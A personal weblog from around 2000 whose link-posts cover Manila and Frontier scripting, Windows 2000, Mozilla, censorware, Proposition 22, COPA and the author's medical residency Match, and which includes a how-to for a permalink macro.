A semi-interesting article on the progress of computer-driven muscular assisting devices for paraplegics begins with quite a (hopefully unintentional) buzzkill: “Paraplegic Marc Merger knows his dream of strolling through the countryside on a sunny day will remain just that — a dream.” Talk about rubbing salt in the wound…

OK, all you mathmaticians… time to earn the big bucks. I have no idea why, but it’s always been funny to me that things like this, Fermat’s Theorem, and the like are so tough to prove.

Well, Jess, did you get the job? Don’t leave us hangin’ here… Update: YAY! You cool union-represented slave of the man, you…

I started playing with my free Conversant website today, and it is very very very powerful stuff. In some ways, it eclipses Manila — for instance, it’s completely stylesheet-driven, something I asked for early in Manila’s life but which has never materialized. (I got great responses back from the people at Userland, but the issue then promptly died.) Conversant is also able to handle threading within a day’s weblog postings, so that people can reply to a single item, rather than the entire day. And perhaps the neatest thing is that there’s an NNTP server lurking behind it, so that people can also use any NNTP newsreader to read your site. As I play more, expect longer items about what I like and don’t like about it; for now, feel free to watch the development process unfold.

I was just asked for some Linux help by a coworker, and I quickly was forced into the reality of why, while popular, Linux won’t overtake Windows anytime soon — every distribution has its own locations, formats, and syntaxes of the configuration files. Changing your network settings on RedHat is completely different than doing so on SuSE; libraries are located in different places, too. Honestly, this is a management nightmare.

From Medley comes a link to a scary notion of where California’s Prop 22 could lead this country. It really is true — if California is allowed to ban gay marriages, then there really wouldn’t be anything stopping another state from banning interracial marriages, marriages between dissociate economic classes, or anything else you could think of.

This reminds me of a discussion I had with my mom, a practicing clinical hematologist, about the fact that New York state used to have the legal authority to prevent marriages between two people if they both tested positive for sickle cell trait. This is no longer the case; I’m not sure if it was given up, or if it was challenged in court.

A short article on the true-life Erin Brockovitch. It’s funny — usually, when a movie purporting to be founded in a true story comes out, we are barraged with media reports of inaccuracies or outright lies. Re: Erin Brockovitch, I haven’t seen any of these; in fact, I’ve seen mostly articles saying that the movie nailed the story right on the head. (Salon has a glowing review today.)

Not that he’s bitter or anything…

MSNBC has a cool article about the strange little things about the universe. Currently wreaking havoc on my brain: the explanation for why the Earth’s rotation is gradually slowing down. According to this article, one big reason is that the moon exerts a gravitational pull on the water in the ocean (which accounts for the tides), but less of a pull on the bottom of the ocean. This creates a frictional force between the surface and the bottom of the ocean, slowing Earth’s rotation down. Wow.

The Oscars were found, the Oscars were found.

If you’ve ever wanted to see pictures of all your favorite webheads, here’s your chance!

I just installed and played with Windows 2000 Terminal Services for the first time, and take it from me, you must try it out if you have a Win2K machine. There’s something overwhelming about logging into your Win2K machine remotely, and getting your own separate login, with your own separate profile, not just a mirror of the currently-displayed screen on the machine itself. VERY cool.

News.com is reporting that Netscape will be releasing a beta of Mozilla within the next month or so. Of course, by definition, a beta should be feature-complete and need only debugging work, and from personal experience with the current state of Mozilla, there’s no way that the version that they release will be anywhere near that benchmark. I reported CSS table rendering problems eons ago (including plain lack of implemented functionality, not just incorrectly-implemented functionality), and have dutifully received notices every few weeks that someone has moved the target fix milestone release back. The bugs/missing functionalities were originally supposed to be fixed in M11; as of the latest update, they won’t be addresses until M16. Disheartening.

Byte Magazine has a thorough review of 802.11b wireless networking offerings, for those of you who have been caught by the same jones I have for slapping one of these little beauties in your laptop and being able to wander around without wires. I’m just biding my time, waiting for the price on the ethernet bridges to come down a little (or for some benevolent soul to ship one off to me as a little gift!).

Yesterday, between TBS and A&E, it was a good movie day. Now that I have a TV in my office, I just left it running all day while I worked, and in rapid succession, I got Footloose, Honeymoon in Vegas, Grease, Cool Hand Luke, and A League of Their Own. Very nice.

It’s a pretty rare day when you are treated to the phrase “The one-year-old bitch” in a news story.

The notion of a table condiment that helps battle obesity seems pretty neat, but I’d imagine that this should be a pharmaceutical thing, not a food-service industry thing.

Sound likes sour grapes to me…

OK, what kind of stupid do you have to be to keep a 400 pound Bengal tiger as a pet? And now, after biting off the arm of his four-year-old nephew, the guy is going to fight to be able to keep the animal.

I need a little down time in order to get all the way through Dear Dave: Oh, Nothing; the letters I never sent to David Letterman.

I clicked on a download link on one of the Microsoft Technet Windows 2000 web pages, and ended up at the Windows Update Corporate Preview. It’s a one-stop place to download the installers that appear (in automatic form) on the Windows Update website, so that you can mass-install them. (I had heard rumors of its existence, but never had proven it!)

last updated:

NOTE: I had to update the script at 3:40 PM on 3/18/2000; there was a problem with creating correct links for all of the news days on a home page with multiple days. It’s fixed now; you have to grab the script again, and look at #6 in the instructions below to use the new fix.

Lately, there’s been a move in the weblog world to be able to provide a link on each day’s page to that day’s permanent URL; that way, if someone wants to link to some wise (or not so wise) thing that you shared that day, they can do so explicitly.

Manila has always had permanent URLs for each day’s page, but unless you were a Manila user, you would have had to know this and know the format of the URLs. (Not that they’re hard…) I decided to write a small macro that you can include in your news template to do all this for you and your users. The macro is attached to this message (if you can’t see it, you may be in story view mode; switch to discussion group mode and you’ll see it in the header of the message).

What does it do?

It generates the proper link to a given day’s permanent page for your Manila site. By including it in your News Day Template (on the Advanced Prefs page), it will generate the proper link for every day, as it will appear in every day’s template.

What does it look like?

You can see it on this site. Go back out to the home page, and look in the bar that contains the date over every day’s entries. There’s a little P with a square around it at the right edge; hover over it, or click on it. That’s the link. You will see it on the news page for any day on this site.

How do I use it?

You either have to have your own Manila server, or your site has to be on a server that has implemented this macro and made it legal.

Here’s how to set it up on your own server:

  1. First, download the script from this message. The easiest way is to click on the fat page link in the message header above, and then save that page to your hard disk.
  2. Import the script into Frontier, by opening the fat page with the File/Open menu. You can save the script in one of two places: the #tools table of your Manila site, or the user.html.macros table of Frontier.root. If you save it in the former, then it will be available only to your specific Manila site. If you choose the latter, then it will be available to all Manila sites running on your server.
  3. Tell Frontier that the script is safe to run as a macro. You do this at config.mainResponder.prefs.legalMacros; inside this table, create another table named linkToDay. Within this new table, create two entries, both booleans — flLegal (set to true), and flParams (also set to true). (Userland has a page on safe macros here.)
  4. Go into your Manila site Preferences, and choose the Advanced pane. Scroll down to the News Day Template; this is where you should add the macro into your site, as it will then appear on every day’s page.
  5. Edit the template, adding in a call to the linkToDay macro. The syntax for calling the macro is {linkToDay(visible content of link, day to link to)}. (See below for examples.)
  6. You have to use a bit of trickery in the call to the macro; the second parameter should be “{newsPostTime}”. Manila will replace this with the actual date of the news page that’s being processed before it hands off the macro to Frontier to process; this way, each day on a multi-day home page will get the right link generated.
  7. Return to your Manila site home page, and see if it worked!

Examples

The one aspect of this macro that you can control is the visible text (or picture, or whatever) that represents the link to the user.

If I wanted my link to read “link to permanent address of this page”, then I would call the macro like this:

{linkToDay(“link to permanent address of this page”, “{newsPostTime}”)}

If I wanted it to have an image of a smiley face (that I had previously uploaded to the URL “http://me.com/smiley.gif”), then I would call it like this:

{linkToDay(“<img src="http://me.com/smiley.gif">”, “{newsPostTime}”)}

(Note the backslashes in that last example, escaping out the quotation marks so that the macro doesn’t think that I’ve ended the content that I want in my link.)

What if I find problems?

Then please, by all means mail me or post a reply to this discussion group message.

Update

Dave Winer added similar support to all Manila sites with the newsArchiveLink macro.

no such thing, phil

New feature today: there’s now a little page icon (  ) in the header bar of each day’s entry that contains the permanent link to that day’s page. Each day’s page has always had its own URL (as that’s just part of Manila), but if you didn’t use Manila, you would have had to know this and know the format of the URLs. Now you don’t; you can just copy the link in the header bar. I also wrote a quick little how-to for those Manila users interested. NOTE: thanks to Jim Roepke’s notice, a problem has been fixed. You may want to look at the how-to again.

tracy

Good morning to Tracy, who found me yesterday and made me smile. (Actually, made me smile twice — she likes this site, and she also turned me onto RealAudio broadcasts of big-city police scanners. Cooooool.)

If you’ve got a fast connection and half an hour on your hands, My Mother’s Dreams The Satan’s Disciples In New York is a great watch. (It’s one of the short films nominated for an Oscar.)

This past week, I started writing Perl apps for the first time, and I have to say I’m impressed with it. I have come into the object-oriented programming world through all of the backdoors, it seems (Frontier, VB, and now Perl, to name a few); however I got to these languages, though, I like them because they allow me to rapidly prototype things, and more often than not, run the apps permanently in them.

I’m currently reading Shrub: The Short but Happy Political Life of George W. Bush, and the first chapter has an unsettling observation (culled from Myra McPherson’s Long Time Passing): 234 sons of senators came of age during the Vietnam conflict. Out of that 234, only 28 went to Vietnam, and only one was wounded. Now, I don’t support what we were doing in Vietnam, but for the class lines to be so distinctly drawn is very offensive to me. (Mind you, I also find it interesting that Gore is one of the 28 who did go.)

How did I miss the fact that Sears has pulled all Benetton clothes out of its stores in response to the death row inmate ads? I got the entire ad campaign in a supplement to Talk magazine when I was on a train last month, and I actually found it very disturbing. Apparently, people on both sides of the issue are reacting similarly. (And, of course, there’s blatant overreaction, but when isn’t there…)

Freebie of the day, for the old-school techie in your life: ShellYeah, which provides free shell accounts on a dual 300 MHz Sun UltraSPARC Enterprise 2. Email, IRC, Usenet, ICQ, and shell scripting; no outbound telnet, compilers, customer-supplied binaries, or servers. Actually, pretty neat, and you can upgrade to any of the banned things.

Patrick Naughton, former exec at Infoseek, has plead guilty to crossing state lines for the purpose of having sex with a minor; he did so to avoid being charged with possession of actual child pornography and using the Internet to entice a minor into sex. This was an interesting case; he was originally found guilty of only the possession charge, but when the law that was used to convict him (but not the portion that applied to the case) was struck down, he was released and a new trial was scheduled. Now, they got him on the most serious charge.

Do you think his lawyers anticipated this when they ardently pushed for his release after the law was struck down? In retrospect, he would have been better off had he just accepted the initial conviction and sentence of up to 10 years; now, he faces 15 years.

Thank you, Brent.

I would say that the Wired News redesign looks good, except for the fact that there are now two banners, one at the top that’s movable and for navigation, and one at the bottom that is permanent and for advertisements. Blecccch.

It seems like a remarkably idiotic decision to bar Internet reporters from the NCAA Final Four. Although this USA Today article uses ESPN.com and FoxSports.com as examples, but even these two organizations are tied to old media companies, so they can get credentialed. Did things like this happen when television was invented?

How nice would it be to have laws like this in the United States? Trips to the post office, the department of motor vehicles, and city hall would take on a whole new character.

Holy smokes — it appears that all of the Oscar statuettes have been stolen while en route from Chicago to California. That sucks… now what will they give the South Park people when they win Best Song?

Cool — hip pager codes from Motorola. I only knew a fraction of these; time to start doing my homework, I guess.

Recently, a new Frontier-based web application framework came online — Conversant. Made by the terrific programmers at MacroByte, it looks to be an alternative to Manila, and looks very powerful. I still need to play around with it, but I’ve set up a free site, QuesoConverse, to do just that.

From Something Awful comes an excellent ICQ prank between a hardcore Nine Inch Nails fan and an ostensibly-hyperreligious prosletyzer.

Match Day is here, and the answer is… Columbia! It was my top choice, and I could not be happier.

Now, you will have to excuse me while I return to my hangover-induced coma already in progress.

By this time tomorrow, I’ll know where I’m doing my residency. Wow.

Sorry about the downtime today; I guess that my copy of Frontier shares my anxiety, and is also prone to random breakdown at any moment. :) (I’m running an alpha version of the latest and greatest Frontier app, so this kind of thing is actually expected, I guess.) I just crashed again, though, so it’s time to go back to the prior alpha I had been running.

I just want to point to the recap of Sean Elliott’s first game back after a kidney transplant. I have said it before, but I’ll say it again — I could not admire him, or his brother, any more.

I really like the one-line witticism that Greg Knauss posted to the other Jason’s site in Jason’s absence: “Note to self: Everything’s an adventure when you’re stupid.”

Virginia has become the first state to sign the evil UCITA into law. Basically, it’s a terrible attempt by the software industry to legitimize shrinkwrap licenses, even when you can’t see them until after you purchase a product; it also allows companies to remotely disable software installation at their whim. There are a slew more scary aspects to this law; you can read more about it at 4CITE’s website, and view all of the people who are against it as well.

I really like implosions. The ability to control the explosives (implosives?) so precisely is an artform, and watching a building just slide into the ground is pretty amazing. (Oh, wowDan points to a implode-the-Kingdome-yourself applet today, made by people across the street from the Dome. Cooooool.)

If anyone wants to buy me a small spindle of these (I dunno, perhaps as a celebration of my impending residency acceptance?), feel free to. :)

Fiona Maazel has a hilarious recount of her failed attempts as a pornographer on Salon today. Fave quote:

On a Web site featuring nipple clips and metal gourds, what I’d written was unpublishable. Hard to believe, but I’d sunk lower than the lowest of the low. I was a woman whose sexual dementia rivaled Anne Rice’s.

Today, I got an email from Jon asking what the hell the Match is; I guess I never explained myself. The Match is the yearly ritual whereby fourth-year medical students (such as myself) come into their residencies. In October, we all submit our applications to the programs that interest us. They decide who to interview (and correspondingly, who not to interview). We go on all the interviews, and think long and hard about what we want out of our training. Then, come February, both the candidates (us) and the programs all turn in a Rank List, which for the candidates, is a list of the programs at which they would be satisfied, in order of preference; for the schools, it’s similar, but ranking the candidates. At that point, the National Resident Matching Program’s computers take over, matching the candidates to programs. March 16th (We’re here! away) is when we all find out the programs to which we’ve matched.

Stephen King’s new book is now (only) available online; it’s described as “a ghost story in the grand manner.” I haven’t read it yet. (I found out that it was released from a BBC news story, but apparently, the BBC has not figured out that they can put actual URLs in their stories instead of launching users onto a hunt across the Internet.)

This morning, NPR reported that U.S. Representative Bob Franks is trumpeting a bill requiring all New Jersey public libraries to install Internet blocking software. They interviewed Franks, who said, “For those who think that this software will block access to breast cancer sites as well as pornography, you don’t understand that this software is now mature enough that it just doesn’t do that.” He clearly hasn’t visited PeaceFire lately; it’s shameful how much legitimate content blocking software still blocks. (Of course, most of the software also blocks access to PeaceFire itself.)

Piglets, piglets everywhere! I love that one of the piglets is named Dotcom.

There’s no gettin’ around it, I’m in the crappiest mood I’ve been in in years. A combination of stress, boredom, hurt, and fear… that’ll get ya’ every time. Time to get back to reading.

Match Day is We’re here! away, and the butterflies won’t go away. (Although today is the day that you find out if you have matched — but not where — and when I logged into the site, I saw Congratulations, you have been matched!.)

I mean, I think that the NRA has gone mad.

Salon has a good essay on the issues surrounding the first-grade shooting in Michigan. I agree with its premise — where were all the outraged people when this little boy was being neglected and ignored over the past six years?

British Aerospace and Airbus are working on a new generation of planes that will seat over 500 people. This is pretty cool, but given my flying experiences over the past few months, I dread how long it will take to load and unload passengers from planes like these. Amd once you add shops and other services to the mix, flying is going to be very different.

From Stephen C. De Beste comes Rotten Tomatoes, a website that gathers movie reviews of all kinds and points of view. The official view on Mission to Mars: rotten.

I think that the Sea Launch platform is one of the cooler things to come out of the aerospace industry lately, so it makes me sad that they had a launch failure overnight.

There’s an entire web site dedicated to collecting links to movie reviews about all the current releases.

More to the point, they tally positive versus negative reviews so you can get an idea of the way the overall wind is blowing.

VERY rarely are all the reviews unanimous. The only movie I can think of to achieve that rare honor was “Toy Story 2”, for which they located 67 reviews all of which were positive. Quite an accomplishment.

http://www.rotten-tomatoes.com/

I visit the site regularly. By the way, the consensus about “Mission to Mars” is very strongly negative. They’re running 3:1 against on 60 reviews so far.

It’s a nice mix of pro-views and fan-views, too.

Yep, now all those non-Catholics can stop rolling in their graves.

Well, well, well…. Bob Jones University hasn’t really ended its policy against interracial dating; under their new policy, if you want to date someone of another race, you need a note from your parents. This is a no-brainer way to “solve” the problem, since I’d bet that Bob Jones is banking on the fact that parents who would let their children go to this citadel of intolerance and hatred probably wouldn’t permit their kids to date kids of another race. (Meanwhile, if you’re the administrator who’s in charge of these letters, do you start a new file in your cabinet named Blaspheming Racemixers?)

Dear Dr. Bob:
 
Please excuse Sally from class this morning; she had a touch of the stomach flu. Oh, and please let her date black people.
 
Regards,
Mrs. Smith

I don’t think I’ve ever seen the press publish a compendium of all the bad reviews of a movie before. (Apparently, Mission to Mars is not the movie to see this spring.)

Sorry about the no-update-day… I spent the day at my parents, waiting for Time Warner cable to show up to install their cable modem. This was the fourth scheduled installation, after they missed the first three, and yep, you got it, they missed this one too. If I can hold any sway over anyone’s future purchase plans in the way of cable modems, stay clear of Time Warner. They suck.

From Jess comes a website that hits my pet peeve squarely on the head: the Gallery of Misused Quotation Marks. (In NYC, where a lot of store owners don’t speak the King’s English per se, quotes turn up in all the wrong places — menus saying things like Kung Pao “Chicken”, street vendors with signs like “Coffee” and “Donut” $1.50, and that kind of thing.)

Something making its way around the web these days is the URL for FECinfo, a website which maintains an online, searchable-by-zip-code database of campaign contributions. Something that I noticed tonight is that many of the contributions are linked to images of the actual FEC reporting forms filed by the candidates, which means that you can look up 90210 and see the actual home addresses of a couple celebs (and who they have given money to). You can also type in 20500 (the zip code of the White House) and see that there are no registered contributions from that location… of course.

(Oh, and in case you were wondering, it’s We’re here! until I match for residency.)

In We’re here!, I will find out where I’ve been drafted for residency…

I could not admire Sean Elliott any more — he aims to return to playing games for the San Antonio Spurs this coming Tuesday. He will be the first professional athlete to ever return to their sport after a kidney transplant; I can’t think of any players that have returned after any major solid organ transplants.

OK, so I just had my palm read online, and sort of in line with not having some of the lines that the pages talked about (and asked me to choose representative versions of), the conclusion wasn’t all that insightful or applicable. Serves me right for having my palm read online, really. (Thanks, Z, for the pointer.)

Does anyone know of a utility that can tell you whether or not a specific GIF image uses LZW compression? I don’t care what platform it runs on, although Linux/Unix or Win32 is easiest for me. If you do, I’d appreciate it if you could drop me a line or post in the discussion group. (I’ve tried the identify utility that comes with ImageMagick, but it says that LZW is used in images that I’m pretty sure aren’t using it.)

I hadn’t read about the prank Rick Mercer played on Dubya. Classic.

Ah, the complexities of nominating a semi-obscene song for an Oscar — the Academy doesn’t know how they will perform Blame Canada. And to add to the problem list, Mary Kay Bergman, who committed suicide late last year, sang a few of the voices in the song; producers are unsure who they’ll get to replace her. I usually don’t tune in to the Oscars, but clearly I’ll have to this year.

I think it’s righteously cool that you can read then entirety of the O’Reilly Book Using Samba online.

You know, the world just feels better when your ass is firmly planted in an Aeron chair.

Interesting theory, having someone else maintain your ‘log while you’re out of town.

We’re here! until Match Day, and my blood pressure knows it.

Today brings us an incredibly well-written and well-thought out open letter from Jeff Bezos on the Amazon patent issue. I need a little time to think about it more, but my quick read is that he has a very strong argument, and I like that he is also willing to work to improve the system to make distinctions for business systems and to give public comment prior to the granting of patents some real value. Instead of being reactionary (like most of the blather on the web right now on this issue), Bezos put some real thought into the matter, and his answer is eloquent and on-point.

Peacefire has again entered the censorware fray with an app that decrypts the list of banned sites used by IGear, a Symantec product. And again, the list is amazingly broad, banning many, many sites that have absolutely nothing on them that could be considered offensive. My favorite examples of blocked sites: a milk pasteurization system diagram written in Portugese, Volume 4 of This History of the Decline and Fall of the Roman Empire, a computer science PowerPoint presentation, and an 18th-century opera transcript.

I try so hard to be original, but Brig pointed to something yesterday that made my sides hurt I was laughing so much: Furniture Porn. (They even got their own domain name for it…. awesome.)

And from the other Jason comes the weirdest ass website I’ve seen in a while. This guy’s highly paranoid musings are going to be trumpeted all over the news when he sprays an assault rifle all over a playground, mark my words. A select quote:

You are a personified pyramid corner. Educated people are the evil empowerment of the self - the lowest form of humanity. Humans are brainwashed stupid and indoctrinated evil. A human will rotate around 4-corner lifetime stages within a family metamorphosis - baby, child, parent and grandparent. Name your 4/16 greatgrandparents.

Ummmm… my gawd, I wish that the New York Attorney General’s office had something better to do than spend my tax money to investigate Nintendo because its games are ostensibly responsible for blisters on people’s hands. I mean, this state has terrible problems with rent reform, landlord and tenant rights, police abuse of power, monopoly public utilities… and Spitzer’s investigating a video game company because people overuse their product? I am incredulous.

Another good mediator has popped up: The T’nator (inflicts Mr. T on any web page!). Here’s Q after Mr. T exerts his influence. Also, from Jordan (who I met last night) comes The Dialectizer.

Great Law & Order last night, but I’m unsure how happy I am with the animosity that they’re creating between Briscoe and Green. There’s no context to it at all, so it just flew up out of the blue last night. Harumph.

Last night’s IRC chat was a blast from the past — I haven’t been on IRC since college. Wow.

There’s something about a weblog with a corporate ad banner that makes me feel a little uneasy. Posting is such a personal thing for me; I wouldn’t want the implication that my personal musings were sponsored.

“The Go Network seems to have removed all forms of the Infoseek name from the Infoseek search engine. Why?”

Well I’m just guessing but I’d say it’s because Disney/GO have decided to make their portal much more entertainment (Disney entertainment, that is) centric and they don’t want the name “Infoseek” confusing anyone.

My friend works for Infoseek and says it’s a pretty empty shell right now. After the six months of “stay here this much longer after we take you over and we’ll give you some extra options” was up, most Infoseek employees went elsewhere. Lots and lots of empty cubicles. According to my friend (who is still there), this didn’t cause Disney any tremendous pain or concern.

But that’s gossip. I really think Disney (probably wisely) decided that it can’t be an all-things-to-all-people portal like Yahoo and is working to reshape go.com into a narrower kind of thing.

-Kate

People who visited the ‘blog chat (on IRC, server irc.skunkworks.cx, port 6667, channel #blogirc): Anita, Dan, Jordan, Jon, Schlyer, Jason, Matt, Jess, Brad, Mike, Nikolai, Brennan, Dan, Zannah, Adam, Roosh, Neale.

Last night, I was sitting in my apartment and heard thunder outside, and it hit me how few thunderstorms we get in New York City. When I was a kid in Texas, we’d get one or two a month, and I used to love sitting still, listening to the thunder and to the rain pound on the roof. I miss that.

Yesterday, I talked about the scary provision in the FAQ of Quality Web Enterprises’ free webhosting service saying that they have the right to publish anything that you put onto your QWE-hosted website; today, I noticed that the same FAQ says (said) the following:

Userland claims copyright ownership of all user interface elements presented on the websites originating from this service, as well as for the look and feel of the user interface. qwe.as members retain the rights to any copyrighted material which they post on their website.

From Dave, this statement in the EditThisPage.com user agreement has now been modified, as has the wording on the QWE FAQ page — cool. I wondered if I was reading meaning that wasn’t intended; I guess so! I also had no idea that this statement originated in the EditThisPage.com user agreement; instead, I assumed (wrongly) that it was a QWE thing.

I am glad that I put UCSF relatively low on my rank list, seeing as Californians are intolerant blowhards that made my skin crawl when I heard that Proposition 22 passed last night. (Okay, not all Californians, just the 62% that voted for the measure, and especially not Meg.)

Cool — the Microsoft Developer Network Online Bug Center.

Am I the only one that thinks that the reverse of the Connecticut quarter, if turned 90 degrees in either direction, looks like the vasculature of the human kidney? Apparently not… thanks to Brendan O’Keefe for pointing out that Brunching Shuttlecocks thinks the same thing. (I’m looking for a good image to link to; if anyone knows of one, please mail me!)

Canadian authorities are pressing assault charges against Marty McSorley for his fairly horrendous stick attack against Donald Brashear. At heart, though, I’m pretty ambivalent as to whether hockey players who are normally allowed to pummel the crap out of each other without even referee intervention should all of a sudden have to answer for it in court. After all, I’ve seen fights nearly as bad since the McSorley incident.

MyWebOS.com is a neat new web-based office suite, with its own mail, calendar, notes, and applications. It appears to be Internet Explorer-only, but I’m not positive of that.

The Go Network seems to have removed all forms of the Infoseek name from the Infoseek search engine. Why?

Every time I see the Staples “God” commercial I laugh. Great concept.

My chair is here! Well, sort of — the delivery left a message to work out when to drop it off. Let’s see how long this takes to get delivered; I’ve already had two problems with the delivery company’s ability to tell time.

Excellent.

The American Medical Association is behaving like morons.

Quality Web Enterprises is a free Manila hosting service in the UK, but they have a scary provision in their FAQ:

You agree to allow Do-i-d Ltd. to publish on the internet any of the stuff you put in your website at yourSite.qwe.as

On reading this, there are two meanings: first, that anything you put on your site will be displayed on your site (which seems obvious), or second, that they have the right to repurpose any of your content for their own use. If it’s the first, then it seems that someone who doesn’t already understand this doesn’t belong on the web; if it’s the second, then it’s the same provision that has backfired on many a free webpage provider (GeoCities and Tripod, to name two from recent memory).

Ick, VeriSign is buying Network Solutions. I have a terrible history with VeriSign — they continue to spam me, no matter how many people I talk to and try to get off of their lists. They claim that, since I own an SSL certificate of theirs, they have the right to email me. And Network Solutions has always felt this way… you have to give them your email address to register a domain name, and they just send crap to that address willy-nilly, even if you explicitly tell them not to do so.

One byproduct of my trip to San Antonio is that I now have to order HBO; my friends got me hooked on The Sopranos. I was getting sick of the hype (it’s impossible to turn your head in NYC without seeing an ad for it or hearing someone talk about it), but it lived up to that hype.

I need to start using Dan’s Subhonker Filter, an alternative interface to the weblogs that are listed on Weblogs.Com. Especially because he’s provided a bookmarklet that throws the filter window into your Internet Explorer search pane (notice: clicking on that last link opens your search pane).

I was trying to find a good sound to notify my dad that he has new mail, and stumbled across the Bell Labs Text-to-Speech Synthesizer… now I can truly customize the sound!

Great seeing you. Looking great and impressive as ever. Take care and let’s keep in touch. Too long between visits.

Take care

matt

Great seeing you. Looking great and impressive as ever. Take care and let’s keep in touch. Too long between visits.

Take care

matt

I’m in Dallas/Fort Worth, and think that it’s so cool that I can just plop into a phone booth, plug my laptop into the superphone, and get onto the web. Technology rocks.

I don’t care what you say, easy relative paths is a coooool feature.

Echoing the sentiments of my roommate, I found on the flight down here last week that my battery life is significantly shortened in Windows 2000 (versus Windows 98) — from around 4 hours to around 2 1/2. Perhaps if Dell ever gets around to supporting my laptop, under 6 months old, with an ACPI-compliant BIOS, I could see that battery life extend a little.

Good Bushism of the Week from last week:

“I don’t have to accept their tenants. I was trying to convince those college students to accept my tenants. And I reject any labeling me because I happened to go to the university.”

Did anyone else know that Bob Jones University has announced an end to the ban on interracial dating? Wow, the new millenium did bring peace on Earth.

Anyone know why the latest Bloat doesn’t have a number 9 entry? I’m confused; I originally thought that it was because there’s a tie for first, but typically that means that there wouldn’t be a number 3. My brain hurts.

A few quick pointers today…

Salon has a great review of the GOP candidates’ talk show appearances today, and laments the loss of all humor in the current race to secure the nomination. My favorite was the description of Dubya’s “appearance” on Letterman:

He tried to keep a good sense of humor, but doing an interview via satellite was a disaster, giving Bush the appearance of a slow-moving, dimwitted cousin, muttering one-word answers and laughing excessively to mask a weak grasp of irony.

Salon also has a deeper look at the way young criminals are treated in this country. It also goes into some detail about California’s odius Proposition 21, and centers on the observation that measures like Prop 21 are a rarity these days.

And just because I love you all, here’s The Tongue Page, with pictures of the strangest, longest, most pierced tongues you’ve ever seen.

I’m down in San Antonio for a wedding, so expect spotty updates for the next few days; the one time that it’s hard to post to a Manila site is when you’re gorged with Tex-Mex food and margaritas.

It is very likely that some adult will be charged with manslaughter in this case. There’s legal precedent for this kind of thing.

For a while there were a bunch of men who liked having pit bulls for pets, because they’re macho, or something like that. Different kinds of dogs are bred for different things; poodles and goldens are retrievers, so they think that chasing a tennis ball is fun. Terriers are bred to hunt and kill rats, which is why they think that “shake the rag” is a fun game. (That’s the motion they use to kill a rat once it’s in their jaws, because it breaks the rat’s spine and neck.)

Pit bulls are trained to fight and kill other dogs. They were used in betting contests; it’s a thoroughly barbaric practice which is now outlawed most everywhere (though it still goes on in secret). Pit bulls can be good pets, but they are bred to fight and kill and that makes them dangerous. One man’s dog attacked and killed a child.

The dog owner was convicted of manslaughter even though he wasn’t even present when it happened. “Manslaughter” means that because you did something stupid or negligent, someone else died. For instance, if you dig a deep pit and don’t surround it with a fence, and if on a dark night someone falls in the pit and dies, then you’re guilty of manslaughter. This dog owner is in prison now.

It seems to me that a similar situation applies here: some adult was negligent in keeping his pistols (no matter where he acquired them) and as a result a six year old kid got one and shot another kid with it. The adult is responsible, because he wasn’t careful with how he stored the gun. I hope they throw the book at him; I’m sure they’re going to be working hard on figuring out where that kid found that damned pistol.

The obvious suspects are the kids parents, needless to say.

Well, this is a first for me… flipping the home page before going to bed.

Today, Neale impresses with SIMS: American Beauty in ASCII. Wicked.

And nobody at UserLand wants to answer my support question from yesterday, so I now spread it out to the world: does anyone know how, or if it’s possible, to have an option on a Manila site member sign-up form that has to be answered in a specific way before the membership can be created? A consent, if you will — COPA states that commercial websites can’t collect any information about children under 13 without parental consent, so I want to know how to make someone assure me that they’re 13 years old or over before I create the membership. If you’ve got an answer, I’d love a posting.

It’s strange to say, but when thinking about the six-year-old who shot and killed Kayla Rolland today, I pretty strongly agree with the notion that there’s most likely someone other than the boy that should be held responsible. If you’re an adult, and you have guns (much less stolen guns) in your home that are easily accessible to your children, then to me, you’re completely and inarguably responsible for anything that happens if the children do get their hands on those guns. This is just tragic; this child is as much a victim as he is a participant in today’s sad events. Stephen started a discussion about kids and weapons this morning; I’d love to hear how other people feel about this.

Oh, and I have a new hero on this here planet: Dahlia Lithwick. She’s the Supreme Court reporter for Slate, and she manages to combine a terrific legal analysis with a side-splitting sense of humor to create virtual works of art every day of Court argument. Today’s column discusses the Court arguments in Bond v. United States, a right to privacy/illegal search case in which Bond was arrested for posession and transportation of a large quantity of methamphetamine after a border patrol agent touched and squeezed his luggage. After recounting the various points made by both sides and most of the Justices, Lithwick concludes:

Wherever the court draws the line between “good touch” and “bad touch” today, one pragmatic point is clear: If you ever have to pick which justice to sit beside on a plane, go with Ginsburg. Breyer is a self-confessed luggage-mover, and Scalia may well be a closet luggage-sniffer.

Excellent — Andy Dehnart figures out that, given that the millionth video was played this past weekend, MTV has played only four videos an hour for the last nine years. Anyone else sick of Music Television not playing any damn music?

COPA is under a legal challenge right now. (When it was passed, it was sardonically referred to as “Son of CDA” or “CDA II”.) It’s going to fail court test on constitutional grounds, just like CDA did, and for exactly the same reason: it chills constitutionally protected speech between adults, which the courts have unambiguously stated is an unacceptable price to pay to protect children. (That was why CDA failed.)

I feel that I should help spread the word about the latest American Medical Association warning.

Is there some catch? Philip Morris agrees to some level of FDA regulation of tobacco; it will be interesting to see where this goes.

It hit me this morning that the Children’s Online Privacy Protection Act has an effect on anyone that uses Manila to run a commercial website; I’m not sure how you’d restrict membership so that kids under 13 can’t sign up. (I asked this question over on the Frontier discussion board, and Stephen has started a discussion about COPA here as well.)

I’m listening to Cliff Ellis, coach of Auburn basketball, talk about Chris Porter being ruled ineligible by the NCAA right now, and the thing that’s disturbing me is that Ellis is almost completely blaming the agent who gave Porter money. His contention is that this guy “preyed on someone in a weak moment” — but we’re talking about an adult here, a guy with two kids. Porter’s responsible for his own choices.

We started moving into our new offices today (well, most people did; I’ve been in the new place for four months now). The new offices are on the smallish side, but I really like my new workspace.

Darryl Strawberry has been suspended from baseball for a year. I feel bad for him… he beat colon cancer (or is beating it so far), but now addiction is beating him. I wish him well, and the best of luck.

sombrero galaxy

Ummmm… the Sombrero Galaxy is way cool.

Wowzers! Chuck Lau has put up a complete mirror of the original Mosaic Communications Company (the company that produced the first “Netscape” browser and went on to be Netscape). Very neato, and very early 90s. Note that there actually were multiple ways to get to the site, all looking slightly different; they’re all shown here. The best thing about the mirror is that it points to the original Yahoo URL http://akebono.stanford.edu/yahoo/; I think it’s sad that the clear majority of today’s Internet users never knew it by that address.

According to the NYC District Attorney, Sean Combs offered 50 Gs to one of the people in the car to say that his gun wasn’t his.

And also in entertainment news, Fox is pulling the plug on all those “reality shows”. That’s real, real sad…

If he really feels this way, why not have the damn conversation via email? And why point to it off your home page?

And as for the acidic comment directed to Bob Burke also on that home page, that’s fine that Dave feels no need to patent his work, but to be so overt in his expression that everyone else should agree with him lest they reveal themselves as greedy pigs… whatevers.

